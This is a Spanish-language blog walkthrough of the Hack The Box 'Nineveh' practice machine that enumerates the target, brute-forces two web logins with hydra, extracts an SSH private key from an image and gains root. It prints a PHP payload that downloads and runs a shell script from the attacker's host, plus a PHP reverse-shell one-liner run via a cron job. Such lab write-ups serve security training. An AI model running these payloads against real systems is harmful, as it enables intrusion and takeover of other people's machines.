Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ Nineveh Hack The Box (Necesario VIP)

Nineveh ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.43       "

Procedemos con el siguiente escaneo de Nmap

# nmap -sC -sV -p80,443 10.10.10.43 -oN target                                                                                                                                                                1 ⚙

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 12:31 CEST
Nmap scan report for 10.10.10.43
Host is up (0.054s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

Encontramos un dominio para meter en nuestro /etc/hosts

Lanzamos el script de nmap http-enum a nivel web

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /info.php: Possible information file

Lanzamos la herramienta Whatweb

# whatweb http://10.10.10.43                                                                                                                                                                                  1 ⚙
http://10.10.10.43 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.43]

Probamos a hacer un fuzzing a nivel del dominio web encontrado

# wfuzz -c -L --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://nineveh.htb/FUZZ                                                                                  130 ⨯ 1 ⚙
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://nineveh.htb/FUZZ
Total requests: 220547

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                            
=====================================================================

000000835:   200        485 L    974 W      11430 Ch    "db"                                                                                                                                               
000045227:   200        1 L      3 W        49 Ch       "https://nineveh.htb/"                                                                                                                             
000095511:   403        11 L     32 W       300 Ch      "server-status"                                                                                                                                    
000095763:   200        5 L      7 W        71 Ch       "secure_notes"                                                                                                                                     

Chequeamos la web version http y fuzzeamos como en https a ver si encontramos lo mismo o no.

* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.43/FUZZ
Total requests: 220547

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                            
=====================================================================

000003008:   200        1 L      3 W        68 Ch       "department" 

Encontramos un login /department/ a nivel de http://10.10.10.43/

En el cual tambien podemos probar a hacer fuerza bruta, y probando usuarios vemos que para el usuario Admin tenemos una respuesta diferente dandonos a entender que el usuario admin existe a nivel del loguin web.

# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-form-post "/department/login.php:username=^USER^&password=^PASS^:Invalid Password\!" -V -t 64

[80][http-post-form] host: 10.10.10.43   login: admin   password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found

A nivel https://nineveh.htb/ encontramos que en la ruta secure_notes hay una imagen de extension .php. Nos la descargamos y miramos a ver si encontramos algo interesante:

Sacamos informacion oculta de la imagen en .png encontrada en la ruta https://nineveh.htb/secure_notes/nineveh.png 

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY/
/CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc
/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX
/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC
/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7
/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R
amrois@nineveh.htb

Y encontramos al posible usuario con el que conectarnos con esta clave privada de SSH amrois

Guardamos la clave ssh privada encontrada con permisos 600 y hacemos memoria, ya que en los servicios abiertos no veiamos ningun servicio ssh abierto en la maquina.

Proseguimos por otra via enumerando el directorio o ruta /db/ Encontramos algo interesante en /db/

phpLiteAdmin v1.9

Warning:  rand() expects parameter 2 to be integer, float given in /var/www/ssl/db/index.php on line 114

Probamos a hacer fuerza bruta con HYDRA:

 # hydra -l none -P /usr/share/wordlists/rockyou.txt 10.10.10.43 httpS-form-post "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -V 
 
 [443][http-post-form] host: 10.10.10.43   login: none   "password: password123"

Buscamos por searchsploit:

# searchsploit phpLiteAdmin 1.9
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                    |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection                                                                                                                                    | php/webapps/24044.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities                                                                                                                                     | php/webapps/39714.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Conseguimos acceder al servicio phpLiteAdmin

Y leyendo la vulnerabilidad encontrada en la version 1.9.3 vemos que creando una nueva Base de Datos con extension .php podemos inyectar una nueva tabla que almacene una cadena tipo TXT en donde podemos meterle un codigo php malicioso

Creamos una nueva base de datos con extension .php en phpLiteAdmin ruta: https://nineveh.htb/db/index.php?switchdb=%2Fvar%2Ftmp%2FninevehNotes.php

Nombre de la BD creada ninevehNotes.php le agregamos un campo “shell” 1 de valor, despues llamamos shell a la tabla, tipe TXT y le metemos el comando malicioso en php en la opcion default Value para que se ejecute al final.

<?php system("wget http://10.10.14.12/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>

Credenciales Obtenidas hasta el momento:

Para phpLiteAdmin: password123
Para login en Https /department/: 
User: admin 
Password: 1q2w3e4r5t

Entramos a la web HTTP con las credenciales y descubrimos que existe un LFI en la ruta

http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php

Habiendo creado nuestra nueva base de datos con nuestro codigo malicioso en php probamos a apuntar desde el LFI. Apuntamos a la ruta /var/tmp/ninevehNotes.php

Habiendo puesto un servidor en escucha almacentando nuestra “Reverse_Shell_PHP”'shell.txt' para que se nos envie una conexion reversa cuando se ejecute por el puerto 1234

Montamos un servidor con python3 para postear la shell.txt y subirla al servidor victima.

# python3 -m http.server 80                                                                
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.43 - - [12/Jul/2021 16:27:05] "GET /shell.txt HTTP/1.1" 200 -

Obtenemos Acceso desde nuestra session a la escucha por el puerto 1234

# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.43] 54202
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 15:54:35 up 28 min,  0 users,  load average: 0.02, 0.06, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Escalada de Privilegios de www-data a amrois

  • PORTKNOCKING

Hay un proceso de portKnocking o golpes TCP UDP para abrir un servicio Miramos por los procesos ejecutados a nivel de root en el sistema.

#ps -aux 
root      1309  1.1  0.2   8756  2224 ?        Ss   06:47   0:40 /usr/sbin/knock

Nos movemos a buscar el fichero de configuracion de nockd.conf

www-data@nineveh:/etc$ cat knockd.conf
[options]
 logfile = /var/log/knockd.log
 interface = ens160

[openSSH]
 sequence = 571, 290, 911 
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

[closeSSH]
 sequence = 911,290,571
 seq_timeout = 5
 start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

Desde nuestro pc attackante: hacemos lo siguiente para golpear los puertos y que se abra el servicio SSH

# for x in 571 290 911; do nmap -Pn --max-retries 0 -p $x 10.10.10.43; done
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 17:09 CEST
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up.

PORT    STATE    SERVICE
571/tcp filtered umeter

Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 17:09 CEST
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up.

PORT    STATE    SERVICE
290/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 17:09 CEST
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up.

PORT    STATE    SERVICE
911/tcp filtered xact-backup

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Acto seguido nos conectamos por SSH con la clave ID_RSA con premisos 600

usamos la clave id_rsa encontrada en la foto .png

# ssh -i id_rsa amrois@nineveh.htb
The authenticity of host 'nineveh.htb (10.10.10.43)' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'nineveh.htb,10.10.10.43' (ECDSA) to the list of known hosts.
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

288 packages can be updated.
207 updates are security updates.


You have mail.
Last login: Mon Jul  3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ ls
user.txt
amrois@nineveh:~$ cat user.txt 
42a4d28xxxxxxxxxxxxxxxxxxxxxxxxx
amrois@nineveh:~$ 

Enumeracion para escalar privilegios a ROOT

amrois@nineveh:~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for                                                                                                                                                            
# minute (m), hour (h), day of month (dom), month (mon),                                                                                                                                                            
# and day of week (dow) or use '*' in these fields (for 'any').#                                                                                                                                                    
# Notice that tasks will be started based on the cron's system                                                                                                                                                      
# daemon's notion of time and timezones.                                                                                                                                                                            
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/10 * * * * /usr/sbin/report-reset.sh

Ahi tenemos una tarea CRON que tira de este script que esta creado por nosotros

-rwxr-x--- 1 amrois amrois 34 Jul  2  2017 /usr/sbin/report-reset.sh

Creamos un archivo en la ruta /tmp/UPDATE

Creamos el archivo UPDATE en tmp para que se ejecute con la tarea CRON que esta ejecutando /usr/sbin/report-reset.sh R-shell en php

# Archivo Update
php -r '$sock=fsockopen("10.10.14.12",443);exec("/bin/sh -i <&3 >&3 2>&3");'  

Le asignamos los privilegios de ejecucion para que root pueda ejecutarlo:

amrois@nineveh:/tmp$ chmod +x update
amrois@nineveh:/tmp$ /usr/sbin/report-reset.sh

Nos ponemos a la escucha con una session de nc -vlnp 443y recibimos la R-shell cuando se ejecute la tarea CRON`

# nc -nlvp 443                                                                                                                                                                   
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.43] 58308
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# 
2a7156085834f2fe318exxxxxxxxxxf3e6a5